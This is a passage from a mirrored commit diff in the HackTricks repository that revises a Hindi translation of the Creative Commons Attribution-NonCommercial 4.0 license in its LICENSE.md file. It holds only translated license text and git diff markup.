mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md
This commit is contained in:
Translator
parent
ab24f24d7b
commit
5c5cf48bbc
146
src/LICENSE.md
146
src/LICENSE.md
@ -7,161 +7,161 @@
|
||||
पूर्ण कानूनी शर्तें: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
फॉर्मेटिंग: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
|
||||
# creative commons
|
||||
# क्रिएटिव कॉमन्स
|
||||
|
||||
# Attribution-NonCommercial 4.0 International
|
||||
|
||||
Creative Commons Corporation (“Creative Commons”) एक कानून फर्म नहीं है और कानूनी सेवाएँ या कानूनी सलाह प्रदान नहीं करती है। Creative Commons सार्वजनिक लाइसेंस का वितरण वकील-ग्राहक या अन्य संबंध नहीं बनाता है। Creative Commons अपने लाइसेंस और संबंधित जानकारी को "जैसा है" के आधार पर उपलब्ध कराता है। Creative Commons अपने लाइसेंस, उनके शर्तों और शर्तों के तहत लाइसेंस प्राप्त किसी भी सामग्री, या किसी भी संबंधित जानकारी के बारे में कोई वारंटी नहीं देता है। Creative Commons उनके उपयोग से होने वाले नुकसान के लिए अधिकतम सीमा तक सभी जिम्मेदारी से इनकार करता है।
|
||||
Creative Commons Corporation (“Creative Commons”) एक कानून फर्म नहीं है और कानूनी सेवाएं या कानूनी सलाह प्रदान नहीं करती है। Creative Commons सार्वजनिक लाइसेंस का वितरण वकील-ग्राहक या अन्य संबंध नहीं बनाता है। Creative Commons अपने लाइसेंस और संबंधित जानकारी को "जैसा है" के आधार पर उपलब्ध कराता है। Creative Commons अपने लाइसेंस, उनके शर्तों और शर्तों के तहत लाइसेंस प्राप्त किसी भी सामग्री, या किसी भी संबंधित जानकारी के बारे में कोई वारंटी नहीं देता है। Creative Commons उनके उपयोग से होने वाले नुकसान के लिए अधिकतम सीमा तक सभी जिम्मेदारी से इनकार करता है।
|
||||
|
||||
## Using Creative Commons Public Licenses
|
||||
## Creative Commons सार्वजनिक लाइसेंस का उपयोग करना
|
||||
|
||||
Creative Commons सार्वजनिक लाइसेंस एक मानक सेट के शर्तों और शर्तों को प्रदान करते हैं जिन्हें निर्माता और अन्य अधिकार धारक मूल लेखन और अन्य सामग्री को साझा करने के लिए उपयोग कर सकते हैं जो कॉपीराइट और नीचे दिए गए सार्वजनिक लाइसेंस में निर्दिष्ट कुछ अन्य अधिकारों के अधीन हैं। निम्नलिखित विचार केवल सूचना के उद्देश्यों के लिए हैं, ये संपूर्ण नहीं हैं, और हमारे लाइसेंस का हिस्सा नहीं बनाते हैं।
|
||||
Creative Commons सार्वजनिक लाइसेंस एक मानक सेट के शर्तों और शर्तों को प्रदान करते हैं जिन्हें निर्माता और अन्य अधिकार धारक मूल लेखन और अन्य सामग्री को साझा करने के लिए उपयोग कर सकते हैं जो कॉपीराइट और नीचे दिए गए सार्वजनिक लाइसेंस में निर्दिष्ट कुछ अन्य अधिकारों के अधीन हैं। निम्नलिखित विचार केवल सूचनात्मक उद्देश्यों के लिए हैं, ये संपूर्ण नहीं हैं, और हमारे लाइसेंस का हिस्सा नहीं बनाते हैं।
|
||||
|
||||
- **लाइसेंसधारकों के लिए विचार:** हमारे सार्वजनिक लाइसेंस उन लोगों के उपयोग के लिए हैं जिन्हें सामग्री को कॉपीराइट और कुछ अन्य अधिकारों द्वारा प्रतिबंधित तरीकों से उपयोग करने की अनुमति देने के लिए अधिकृत किया गया है। हमारे लाइसेंस अपरिवर्तनीय हैं। लाइसेंसधारकों को लागू करने से पहले वे जिस लाइसेंस का चयन करते हैं, उसकी शर्तों और शर्तों को पढ़ना और समझना चाहिए। लाइसेंसधारकों को यह सुनिश्चित करना चाहिए कि वे हमारे लाइसेंस लागू करने से पहले सभी आवश्यक अधिकार सुरक्षित करें ताकि जनता सामग्री का पुन: उपयोग कर सके जैसा अपेक्षित है। लाइसेंसधारकों को किसी भी सामग्री को स्पष्ट रूप से चिह्नित करना चाहिए जो लाइसेंस के अधीन नहीं है। इसमें अन्य CC-लाइसेंस प्राप्त सामग्री, या कॉपीराइट के लिए अपवाद या सीमा के तहत उपयोग की गई सामग्री शामिल है। [लाइसेंसधारकों के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
- **लाइसेंस देने वालों के लिए विचार:** हमारे सार्वजनिक लाइसेंस उन लोगों के उपयोग के लिए हैं जिन्हें सामग्री को कॉपीराइट और कुछ अन्य अधिकारों द्वारा प्रतिबंधित तरीकों से उपयोग करने की अनुमति देने के लिए अधिकृत किया गया है। हमारे लाइसेंस अपरिवर्तनीय हैं। लाइसेंस देने वालों को लागू करने से पहले वे जिस लाइसेंस का चयन करते हैं, उसकी शर्तों और शर्तों को पढ़ना और समझना चाहिए। लाइसेंस देने वालों को यह सुनिश्चित करना चाहिए कि वे हमारे लाइसेंस लागू करने से पहले सभी आवश्यक अधिकार सुरक्षित करें ताकि जनता सामग्री का पुन: उपयोग कर सके जैसा अपेक्षित है। लाइसेंस देने वालों को लाइसेंस के अधीन नहीं आने वाली किसी भी सामग्री को स्पष्ट रूप से चिह्नित करना चाहिए। इसमें अन्य CC-लाइसेंस प्राप्त सामग्री या कॉपीराइट के अपवाद या सीमा के तहत उपयोग की गई सामग्री शामिल है। [लाइसेंस देने वालों के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
|
||||
- **जनता के लिए विचार:** हमारे सार्वजनिक लाइसेंस में से एक का उपयोग करके, एक लाइसेंसधारक जनता को निर्दिष्ट शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री का उपयोग करने की अनुमति देता है। यदि किसी कारण से लाइसेंसधारक की अनुमति आवश्यक नहीं है - उदाहरण के लिए, कॉपीराइट के लिए किसी भी लागू अपवाद या सीमा के कारण - तो वह उपयोग लाइसेंस द्वारा नियंत्रित नहीं है। हमारे लाइसेंस केवल उन अधिकारों के तहत अनुमतियाँ प्रदान करते हैं जो कॉपीराइट और कुछ अन्य अधिकारों के तहत हैं जिन्हें लाइसेंसधारक देने के लिए अधिकृत है। लाइसेंस प्राप्त सामग्री का उपयोग अन्य कारणों से भी प्रतिबंधित हो सकता है, जिसमें यह शामिल है कि दूसरों के पास सामग्री में कॉपीराइट या अन्य अधिकार हैं। एक लाइसेंसधारक विशेष अनुरोध कर सकता है, जैसे कि सभी परिवर्तनों को चिह्नित या वर्णित करने के लिए कहना। हालाँकि हमारे लाइसेंस द्वारा आवश्यक नहीं है, आपको उन अनुरोधों का सम्मान करने के लिए प्रोत्साहित किया जाता है जहाँ यह उचित हो। [जनता के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
- **जनता के लिए विचार:** हमारे सार्वजनिक लाइसेंस में से एक का उपयोग करके, एक लाइसेंस देने वाला जनता को निर्दिष्ट शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री का उपयोग करने की अनुमति देता है। यदि किसी कारण से लाइसेंस देने वाले की अनुमति आवश्यक नहीं है - उदाहरण के लिए, कॉपीराइट के किसी लागू अपवाद या सीमा के कारण - तो वह उपयोग लाइसेंस द्वारा नियंत्रित नहीं है। हमारे लाइसेंस केवल कॉपीराइट और कुछ अन्य अधिकारों के तहत अनुमतियाँ प्रदान करते हैं जिन्हें लाइसेंस देने वाले को देने का अधिकार है। लाइसेंस प्राप्त सामग्री का उपयोग अन्य कारणों से भी प्रतिबंधित हो सकता है, जिसमें यह शामिल है कि दूसरों के पास सामग्री में कॉपीराइट या अन्य अधिकार हैं। एक लाइसेंस देने वाला विशेष अनुरोध कर सकता है, जैसे कि सभी परिवर्तनों को चिह्नित या वर्णित करने के लिए कहना। हालाँकि हमारे लाइसेंस द्वारा आवश्यक नहीं है, आपको उन अनुरोधों का सम्मान करने के लिए प्रोत्साहित किया जाता है जहाँ यह उचित हो। [जनता के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
|
||||
# Creative Commons Attribution-NonCommercial 4.0 International Public License
|
||||
# Creative Commons Attribution-NonCommercial 4.0 International सार्वजनिक लाइसेंस
|
||||
|
||||
लाइसेंस प्राप्त अधिकारों का प्रयोग करके (नीचे परिभाषित), आप इस Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License") की शर्तों और शर्तों से बंधने के लिए स्वीकार करते हैं और सहमत होते हैं। इस Public License को एक अनुबंध के रूप में व्याख्या किए जाने की सीमा तक, आपको इन शर्तों और शर्तों को स्वीकार करने के लिए लाइसेंस प्राप्त अधिकार दिए जाते हैं, और लाइसेंसधारक आपको इन शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री उपलब्ध कराने से प्राप्त लाभ के विचार में ऐसे अधिकार प्रदान करता है।
|
||||
लाइसेंस प्राप्त अधिकारों का प्रयोग करके (नीचे परिभाषित), आप इस Creative Commons Attribution-NonCommercial 4.0 International सार्वजनिक लाइसेंस ("सार्वजनिक लाइसेंस") की शर्तों और शर्तों से बंधने के लिए स्वीकार करते हैं और सहमत होते हैं। इस सार्वजनिक लाइसेंस को एक अनुबंध के रूप में व्याख्या किए जाने की सीमा तक, आपको इन शर्तों और शर्तों को स्वीकार करने के लिए लाइसेंस प्राप्त अधिकार दिए जाते हैं, और लाइसेंस देने वाला आपको इन शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री उपलब्ध कराने से प्राप्त लाभ के विचार में ऐसे अधिकार प्रदान करता है।
|
||||
|
||||
## Section 1 – Definitions.
|
||||
## अनुभाग 1 – परिभाषाएँ।
|
||||
|
||||
a. **Adapted Material** का अर्थ है कॉपीराइट और समान अधिकारों के अधीन सामग्री जो लाइसेंस प्राप्त सामग्री से व्युत्पन्न या आधारित है और जिसमें लाइसेंस प्राप्त सामग्री का अनुवाद, परिवर्तन, व्यवस्था, रूपांतरण, या अन्यथा संशोधन किया गया है, जो लाइसेंसधारक द्वारा रखे गए कॉपीराइट और समान अधिकारों के तहत अनुमति की आवश्यकता है। इस Public License के उद्देश्यों के लिए, जहाँ लाइसेंस प्राप्त सामग्री एक संगीत कार्य, प्रदर्शन, या ध्वनि रिकॉर्डिंग है, वहाँ Adapted Material हमेशा तब उत्पन्न होता है जब लाइसेंस प्राप्त सामग्री को चलती छवि के साथ समय संबंध में समन्वयित किया जाता है।
|
||||
a. **अनुकूलित सामग्री** का अर्थ है कॉपीराइट और समान अधिकारों के अधीन सामग्री जो लाइसेंस प्राप्त सामग्री से व्युत्पन्न या आधारित है और जिसमें लाइसेंस प्राप्त सामग्री का अनुवाद, परिवर्तन, व्यवस्था, रूपांतरण, या अन्यथा संशोधन किया गया है, जो लाइसेंस देने वाले द्वारा रखे गए कॉपीराइट और समान अधिकारों के तहत अनुमति की आवश्यकता है। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, जहां लाइसेंस प्राप्त सामग्री एक संगीत कार्य, प्रदर्शन, या ध्वनि रिकॉर्डिंग है, अनुकूलित सामग्री हमेशा तब उत्पन्न होती है जब लाइसेंस प्राप्त सामग्री को चलती छवि के साथ समय संबंध में समन्वयित किया जाता है।
|
||||
|
||||
b. **Adapter's License** का अर्थ है वह लाइसेंस जिसे आप अपने योगदान में Adapted Material के लिए अपने कॉपीराइट और समान अधिकारों पर लागू करते हैं, इस Public License की शर्तों और शर्तों के अनुसार।
|
||||
b. **एडाप्टर का लाइसेंस** का अर्थ है लाइसेंस प्राप्त सामग्री में आपके योगदान के लिए आपके कॉपीराइट और समान अधिकारों पर लागू लाइसेंस इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अनुसार।
|
||||
|
||||
c. **Copyright and Similar Rights** का अर्थ है कॉपीराइट और/या कॉपीराइट से निकटता से संबंधित समान अधिकार, जिसमें, बिना किसी सीमा के, प्रदर्शन, प्रसारण, ध्वनि रिकॉर्डिंग, और Sui Generis Database Rights शामिल हैं, बिना यह देखे कि अधिकारों को कैसे लेबल या वर्गीकृत किया गया है। इस Public License के उद्देश्यों के लिए, धारा 2(b)(1)-(2) में निर्दिष्ट अधिकार कॉपीराइट और समान अधिकार नहीं हैं।
|
||||
c. **कॉपीराइट और समान अधिकार** का अर्थ है कॉपीराइट और/या कॉपीराइट से निकटता से संबंधित समान अधिकार, जिसमें, बिना किसी सीमा के, प्रदर्शन, प्रसारण, ध्वनि रिकॉर्डिंग, और Sui Generis Database Rights शामिल हैं, बिना यह देखे कि अधिकारों को कैसे लेबल या वर्गीकृत किया गया है। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, अनुभाग 2(b)(1)-(2) में निर्दिष्ट अधिकार कॉपीराइट और समान अधिकार नहीं हैं।
|
||||
|
||||
d. **Effective Technological Measures** का अर्थ है वे उपाय जो, उचित प्राधिकरण की अनुपस्थिति में, WIPO Copyright Treaty के अनुच्छेद 11 के तहत दायित्वों को पूरा करने वाले कानूनों के तहत नहीं हटाए जा सकते हैं, जिसे 20 दिसंबर 1996 को अपनाया गया था, और/या समान अंतरराष्ट्रीय समझौतों के तहत।
|
||||
d. **प्रभावी तकनीकी उपाय** का अर्थ है वे उपाय जो, उचित प्राधिकरण की अनुपस्थिति में, WIPO कॉपीराइट संधि के अनुच्छेद 11 के तहत दायित्वों को पूरा करने वाले कानूनों के तहत नहीं चकमा दिए जा सकते हैं, जिसे 20 दिसंबर 1996 को अपनाया गया था, और/या समान अंतरराष्ट्रीय समझौतों के तहत।
|
||||
|
||||
e. **Exceptions and Limitations** का अर्थ है उचित उपयोग, उचित सौदा, और/या कॉपीराइट और समान अधिकारों के लिए कोई अन्य अपवाद या सीमा जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होती है।
|
||||
e. **अपवाद और सीमाएँ** का अर्थ है उचित उपयोग, उचित सौदा, और/या कॉपीराइट और समान अधिकारों के लिए कोई अन्य अपवाद या सीमा जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होती है।
|
||||
|
||||
f. **Licensed Material** का अर्थ है कलात्मक या साहित्यिक कार्य, डेटाबेस, या अन्य सामग्री जिस पर लाइसेंसधारक ने इस Public License को लागू किया है।
|
||||
f. **लाइसेंस प्राप्त सामग्री** का अर्थ है कलात्मक या साहित्यिक कार्य, डेटाबेस, या अन्य सामग्री जिस पर लाइसेंस देने वाले ने इस सार्वजनिक लाइसेंस को लागू किया है।
|
||||
|
||||
g. **Licensed Rights** का अर्थ है वे अधिकार जो आपको इस Public License की शर्तों और शर्तों के अधीन दिए जाते हैं, जो आपके लाइसेंस प्राप्त सामग्री के उपयोग पर लागू सभी कॉपीराइट और समान अधिकारों तक सीमित हैं और जिन्हें लाइसेंसधारक लाइसेंस देने के लिए अधिकृत है।
|
||||
g. **लाइसेंस प्राप्त अधिकार** का अर्थ है आपके लिए इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अधीन दिए गए अधिकार, जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू सभी कॉपीराइट और समान अधिकारों तक सीमित हैं और जिन्हें लाइसेंस देने वाले को लाइसेंस देने का अधिकार है।
|
||||
|
||||
h. **Licensor** का अर्थ है वह व्यक्ति(गण) या इकाई(याँ) जो इस Public License के तहत अधिकार प्रदान करती है।
|
||||
h. **लाइसेंस देने वाला** का अर्थ है वह व्यक्ति(या) या इकाई(या) जो इस सार्वजनिक लाइसेंस के तहत अधिकार प्रदान करता है।
|
||||
|
||||
i. **NonCommercial** का अर्थ है मुख्य रूप से वाणिज्यिक लाभ या मौद्रिक मुआवजे के लिए नहीं। इस Public License के उद्देश्यों के लिए, लाइसेंस प्राप्त सामग्री का अन्य सामग्री के लिए आदान-प्रदान जो कॉपीराइट और समान अधिकारों के अधीन है, डिजिटल फ़ाइल-शेयरिंग या समान तरीकों द्वारा NonCommercial है, बशर्ते कि आदान-प्रदान के संबंध में मौद्रिक मुआवजे का कोई भुगतान न हो।
|
||||
i. **गैर-व्यावसायिक** का अर्थ है मुख्य रूप से व्यावसायिक लाभ या मौद्रिक मुआवजे के लिए नहीं होना। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, लाइसेंस प्राप्त सामग्री का अन्य सामग्री के लिए आदान-प्रदान जो कॉपीराइट और समान अधिकारों के अधीन है, डिजिटल फ़ाइल-शेयरिंग या समान तरीकों द्वारा गैर-व्यावसायिक है, बशर्ते कि आदान-प्रदान के संबंध में मौद्रिक मुआवजे का कोई भुगतान न हो।
|
||||
|
||||
j. **Share** का अर्थ है किसी भी तरीके या प्रक्रिया द्वारा सामग्री को जनता को प्रदान करना जो लाइसेंस प्राप्त अधिकारों के तहत अनुमति की आवश्यकता है, जैसे कि पुनरुत्पादन, सार्वजनिक प्रदर्शन, वितरण, प्रसार, संचार, या आयात, और सामग्री को जनता के लिए उपलब्ध कराना जिसमें ऐसे तरीके शामिल हैं जिनसे जनता के सदस्य सामग्री को किसी स्थान से और किसी समय पर व्यक्तिगत रूप से चुन सकते हैं।
|
||||
j. **साझा करना** का अर्थ है किसी भी तरीके या प्रक्रिया द्वारा सामग्री को जनता को प्रदान करना जो लाइसेंस प्राप्त अधिकारों के तहत अनुमति की आवश्यकता होती है, जैसे कि पुनरुत्पादन, सार्वजनिक प्रदर्शन, वितरण, प्रसार, संचार, या आयात, और सामग्री को जनता के लिए उपलब्ध कराना जिसमें ऐसे तरीके शामिल हैं जिनसे जनता के सदस्य सामग्री को एक स्थान से और एक समय पर व्यक्तिगत रूप से चुन सकते हैं।
|
||||
|
||||
k. **Sui Generis Database Rights** का अर्थ है कॉपीराइट के अलावा अधिकार जो 11 मार्च 1996 को यूरोपीय संसद और परिषद के निर्देश 96/9/EC से उत्पन्न होते हैं, जैसा कि संशोधित और/या उत्तराधिकारित किया गया है, साथ ही दुनिया में कहीं भी अन्य मौलिक रूप से समकक्ष अधिकार।
|
||||
|
||||
l. **You** का अर्थ है वह व्यक्ति या इकाई जो इस Public License के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग कर रही है। आपका एक संबंधित अर्थ है।
|
||||
l. **आप** का अर्थ है वह व्यक्ति या इकाई जो इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग कर रही है। आपका एक संबंधित अर्थ है।
|
||||
|
||||
## Section 2 – Scope.
|
||||
## अनुभाग 2 – दायरा।
|
||||
|
||||
a. **_License grant._**
|
||||
a. **_लाइसेंस अनुदान._**
|
||||
|
||||
1. इस Public License की शर्तों और शर्तों के अधीन, लाइसेंसधारक आपको लाइसेंस प्राप्त सामग्री में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए एक विश्वव्यापी, रॉयल्टी-फ्री, गैर-सब-लाइसेंस योग्य, गैर-विशेष, अपरिवर्तनीय लाइसेंस प्रदान करता है:
|
||||
1. इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अधीन, लाइसेंस देने वाला आपको यहाँ एक वैश्विक, रॉयल्टी-फ्री, गैर-सब-लाइसेंस योग्य, गैर-विशिष्ट, अपरिवर्तनीय लाइसेंस प्रदान करता है ताकि आप लाइसेंस प्राप्त सामग्री में लाइसेंस प्राप्त अधिकारों का प्रयोग कर सकें:
|
||||
|
||||
A. लाइसेंस प्राप्त सामग्री को, पूरी या आंशिक रूप से, केवल NonCommercial उद्देश्यों के लिए पुनरुत्पादित और साझा करना; और
|
||||
A. लाइसेंस प्राप्त सामग्री को, पूरी या आंशिक रूप से, केवल गैर-व्यावसायिक उद्देश्यों के लिए पुनरुत्पादित और साझा करें; और
|
||||
|
||||
B. केवल NonCommercial उद्देश्यों के लिए Adapted Material का उत्पादन, पुनरुत्पादन, और साझा करना।
|
||||
B. केवल गैर-व्यावसायिक उद्देश्यों के लिए अनुकूलित सामग्री का उत्पादन, पुनरुत्पादन, और साझा करें।
|
||||
|
||||
2. **Exceptions and Limitations.** संदेह से बचने के लिए, जहाँ Exceptions and Limitations आपके उपयोग पर लागू होते हैं, यह Public License लागू नहीं होता है, और आपको इसकी शर्तों और शर्तों का पालन करने की आवश्यकता नहीं है।
|
||||
3. **Term.** इस Public License की अवधि धारा 6(a) में निर्दिष्ट है।
|
||||
2. **अपवाद और सीमाएँ।** संदेह से बचने के लिए, जहां अपवाद और सीमाएँ आपके उपयोग पर लागू होती हैं, यह सार्वजनिक लाइसेंस लागू नहीं होता है, और आपको इसकी शर्तों और शर्तों का पालन करने की आवश्यकता नहीं है।
|
||||
3. **अवधि।** इस सार्वजनिक लाइसेंस की अवधि अनुभाग 6(a) में निर्दिष्ट है।
|
||||
|
||||
4. **Media and formats; technical modifications allowed.** लाइसेंसधारक आपको सभी मीडिया और प्रारूपों में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए अधिकृत करता है चाहे वे अब ज्ञात हों या बाद में बनाए जाएं, और ऐसा करने के लिए आवश्यक तकनीकी संशोधन करने के लिए। लाइसेंसधारक आपको लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक तकनीकी संशोधन करने से रोकने के लिए किसी भी अधिकार या प्राधिकरण का दावा करने से मना करता है, जिसमें प्रभावी तकनीकी उपायों को दरकिनार करने के लिए आवश्यक तकनीकी संशोधन शामिल हैं। इस Public License के उद्देश्यों के लिए, इस धारा 2(a)(4) द्वारा अधिकृत संशोधन करना कभी भी Adapted Material उत्पन्न नहीं करता है।
|
||||
5. **Downstream recipients.**
|
||||
4. **मीडिया और प्रारूप; तकनीकी संशोधन की अनुमति है।** लाइसेंस देने वाला आपको सभी मीडिया और प्रारूपों में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए अधिकृत करता है चाहे वे अब ज्ञात हों या बाद में बनाए जाएं, और ऐसा करने के लिए आवश्यक तकनीकी संशोधन करने के लिए। लाइसेंस देने वाला आपको तकनीकी संशोधन करने से रोकने के लिए किसी भी अधिकार या प्राधिकरण का दावा करने से मना करता है, जो लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक है, जिसमें प्रभावी तकनीकी उपायों को चकमा देने के लिए आवश्यक तकनीकी संशोधन शामिल हैं। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, इस अनुभाग 2(a)(4) द्वारा अधिकृत संशोधन करना कभी भी अनुकूलित सामग्री उत्पन्न नहीं करता है।
|
||||
5. **डाउनस्ट्रीम प्राप्तकर्ता।**
|
||||
|
||||
A. **Offer from the Licensor – Licensed Material.** लाइसेंस प्राप्त सामग्री के प्रत्येक प्राप्तकर्ता को स्वचालित रूप से लाइसेंसधारक से इस Public License की शर्तों और शर्तों के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग करने का एक प्रस्ताव प्राप्त होता है।
|
||||
A. **लाइसेंस देने वाले से प्रस्ताव - लाइसेंस प्राप्त सामग्री।** लाइसेंस प्राप्त सामग्री का प्रत्येक प्राप्तकर्ता स्वचालित रूप से इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए लाइसेंस देने वाले से एक प्रस्ताव प्राप्त करता है।
|
||||
|
||||
B. **No downstream restrictions.** आप लाइसेंस प्राप्त सामग्री पर कोई अतिरिक्त या भिन्न शर्तें या शर्तें लागू नहीं कर सकते हैं, या लाइसेंस प्राप्त सामग्री पर कोई प्रभावी तकनीकी उपाय लागू नहीं कर सकते हैं यदि ऐसा करने से लाइसेंस प्राप्त सामग्री के किसी प्राप्तकर्ता द्वारा लाइसेंस प्राप्त अधिकारों का प्रयोग प्रतिबंधित होता है।
|
||||
B. **कोई डाउनस्ट्रीम प्रतिबंध नहीं।** आप लाइसेंस प्राप्त सामग्री पर कोई अतिरिक्त या भिन्न शर्तें या शर्तें पेश नहीं कर सकते हैं, या लाइसेंस प्राप्त सामग्री पर कोई प्रभावी तकनीकी उपाय लागू नहीं कर सकते हैं यदि ऐसा करने से लाइसेंस प्राप्त सामग्री के किसी प्राप्तकर्ता द्वारा लाइसेंस प्राप्त अधिकारों का प्रयोग प्रतिबंधित होता है।
|
||||
|
||||
6. **No endorsement.** इस Public License में कुछ भी यह स्थापित नहीं करता है या इसे इस तरह से व्याख्या नहीं किया जा सकता है कि आप, या आपकी लाइसेंस प्राप्त सामग्री का उपयोग, लाइसेंसधारक या अन्य लोगों के साथ जुड़ा हुआ है, या प्रायोजित, समर्थन प्राप्त, या आधिकारिक स्थिति दी गई है जैसा कि धारा 3(a)(1)(A)(i) में प्रदान किया गया है।
|
||||
6. **कोई समर्थन नहीं।** इस सार्वजनिक लाइसेंस में कुछ भी यह स्थापित नहीं करता है या इसे इस तरह से व्याख्या नहीं किया जा सकता है कि आप, या आपकी लाइसेंस प्राप्त सामग्री का उपयोग, लाइसेंस देने वाले या अन्य लोगों द्वारा समर्थन, प्रायोजित, या आधिकारिक स्थिति प्राप्त करने से संबंधित है।
|
||||
|
||||
b. **_Other rights._**
|
||||
b. **_अन्य अधिकार।_**
|
||||
|
||||
1. नैतिक अधिकार, जैसे कि अखंडता का अधिकार, इस Public License के तहत लाइसेंस प्राप्त नहीं हैं, न ही प्रचार, गोपनीयता, और/या अन्य समान व्यक्तित्व अधिकार; हालाँकि, यथासंभव, लाइसेंसधारक उन अधिकारों का परित्याग करता है और/या सहमत होता है कि लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक सीमित सीमा में लाइसेंसधारक द्वारा रखे गए किसी भी ऐसे अधिकार का दावा न करें।
|
||||
1. नैतिक अधिकार, जैसे कि अखंडता का अधिकार, इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त नहीं हैं, न ही प्रचार, गोपनीयता, और/या अन्य समान व्यक्तित्व अधिकार; हालाँकि, यथासंभव, लाइसेंस देने वाला आपको लाइसेंस प्राप्त अधिकारों का प्रयोग करने की अनुमति देने के लिए आवश्यक सीमित सीमा में लाइसेंस देने वाले द्वारा रखे गए किसी भी ऐसे अधिकारों का दावा करने से मना करता है, लेकिन अन्यथा नहीं।
|
||||
|
||||
2. पेटेंट और ट्रेडमार्क अधिकार इस Public License के तहत लाइसेंस प्राप्त नहीं हैं।
|
||||
2. पेटेंट और ट्रेडमार्क अधिकार इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त नहीं हैं।
|
||||
|
||||
3. यथासंभव, लाइसेंसधारक आपसे लाइसेंस प्राप्त अधिकारों के प्रयोग के लिए रॉयल्टी एकत्र करने के किसी भी अधिकार का परित्याग करता है, चाहे सीधे या किसी स्वैच्छिक या छोडे जाने योग्य वैधानिक या अनिवार्य लाइसेंसिंग योजना के तहत एकत्र करने वाले समाज के माध्यम से। अन्य सभी मामलों में, लाइसेंसधारक स्पष्ट रूप से ऐसे रॉयल्टी एकत्र करने का अधिकार सुरक्षित रखता है, जिसमें जब लाइसेंस प्राप्त सामग्री का उपयोग NonCommercial उद्देश्यों के अलावा किया जाता है।
|
||||
3. यथासंभव, लाइसेंस देने वाला आपको लाइसेंस प्राप्त अधिकारों के प्रयोग के लिए सीधे या किसी संग्रहणीय समाज के माध्यम से किसी भी स्वैच्छिक या माफ़ किए जाने योग्य वैधानिक या अनिवार्य लाइसेंसिंग योजना के तहत रॉयल्टी एकत्र करने के किसी भी अधिकार से मना करता है। अन्य सभी मामलों में, लाइसेंस देने वाला स्पष्ट रूप से ऐसे रॉयल्टी एकत्र करने के किसी भी अधिकार को सुरक्षित रखता है, जिसमें जब लाइसेंस प्राप्त सामग्री का उपयोग गैर-व्यावसायिक उद्देश्यों के लिए किया जाता है।
|
||||
|
||||
## Section 3 – License Conditions.
|
||||
## अनुभाग 3 – लाइसेंस की शर्तें।
|
||||
|
||||
आपका लाइसेंस प्राप्त अधिकारों का प्रयोग स्पष्ट रूप से निम्नलिखित शर्तों के अधीन है।
|
||||
|
||||
a. **_Attribution._**
|
||||
a. **_अट्रिब्यूशन।_**
|
||||
|
||||
1. यदि आप लाइसेंस प्राप्त सामग्री साझा करते हैं (संशोधित रूप में भी), तो आपको:
|
||||
|
||||
A. निम्नलिखित को बनाए रखना चाहिए यदि यह लाइसेंसधारक द्वारा लाइसेंस प्राप्त सामग्री के साथ प्रदान किया गया है:
|
||||
A. निम्नलिखित को बनाए रखना चाहिए यदि यह लाइसेंस देने वाले द्वारा लाइसेंस प्राप्त सामग्री के साथ प्रदान किया गया है:
|
||||
|
||||
i. लाइसेंस प्राप्त सामग्री के निर्माता(गण) की पहचान और किसी अन्य को जो श्रेय प्राप्त करने के लिए निर्दिष्ट किया गया है, किसी भी उचित तरीके से जो लाइसेंसधारक द्वारा अनुरोध किया गया है (यदि निर्दिष्ट किया गया हो तो उपनाम सहित);
|
||||
i. लाइसेंस प्राप्त सामग्री के निर्माता(ों) की पहचान और किसी अन्य को जो अट्रिब्यूशन प्राप्त करने के लिए निर्दिष्ट किया गया है, किसी भी उचित तरीके से जो लाइसेंस देने वाले द्वारा अनुरोध किया गया है (यदि निर्दिष्ट किया गया हो तो उपनाम सहित);
|
||||
|
||||
ii. एक कॉपीराइट नोटिस;
|
||||
|
||||
iii. एक नोटिस जो इस Public License का संदर्भ देता है;
|
||||
iii. इस सार्वजनिक लाइसेंस का संदर्भ देने वाला एक नोटिस;
|
||||
|
||||
iv. एक नोटिस जो वारंटी के अस्वीकरण का संदर्भ देता है;
|
||||
iv. वारंटी के अस्वीकरण का संदर्भ देने वाला एक नोटिस;
|
||||
|
||||
v. लाइसेंस प्राप्त सामग्री के लिए एक URI या हाइपरलिंक यथासंभव व्यावहारिक रूप से;
|
||||
